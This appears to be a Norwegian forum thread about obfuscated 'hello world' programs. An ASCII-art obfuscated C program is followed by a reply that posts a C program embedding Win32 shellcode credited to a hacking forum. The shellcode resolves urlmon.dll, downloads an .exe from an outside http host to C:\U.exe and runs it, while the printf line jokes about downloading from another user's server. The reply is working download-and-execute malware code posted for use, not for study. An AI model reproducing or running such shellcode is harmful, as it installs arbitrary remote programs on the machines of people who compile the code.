        a&      !c   &!d&e          &f     &g    |b      &!                 c&  !  d&  e     &f      &g  ;h           =h   |a       &c
        &!      d&   e&f            &g     |!    b&      c&                 !d &e  &f &g     |a      &b  &c           &!   d&       !e
        &g      |!   a&       !b    &c     &!    d&     !e                  &!f&g   ;if      (h     ==   tr           ){   in       j=
        1;      fo    (in     k     =0     ;k     <7   -u;                   k++    ) j        =    j    *            2;    v =     v
        +j      ;}     }w[t] =(     uc     )v      ;}fo(       in            i=     0;i<       12;i++    ){           co      << w[i];
        }}      us       bg(us      n      ){       re        (n>>           1      )^n         ;};      //           by       10goto10
                                                              //
Det var viktig at man ikke så hello world i koden?

Hva med denne

Kode

#include <stdio.h>
#include <string.h>

unsigned char sh4llcode[] =
"\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03"
"\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74"
"\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E"
"\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03"
"\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C"
"\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40"
"\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C"
"\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC"
"\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F"
"\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB"
"\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83"
"\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF"
"\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF"
"http://h1.ripway.com/h3x4gram/Prosjekt 1.exe";

int main()
{

 void (*c0de)();
 printf("Win32 \"Laster ned fra matmeg? sin server..\"\n");
 *(int*)&c0de = (int)sh4llcode;
 c0de();
}

Kilde, shellcode: https://forum.eviloctal.com/archiver/tid-17553.html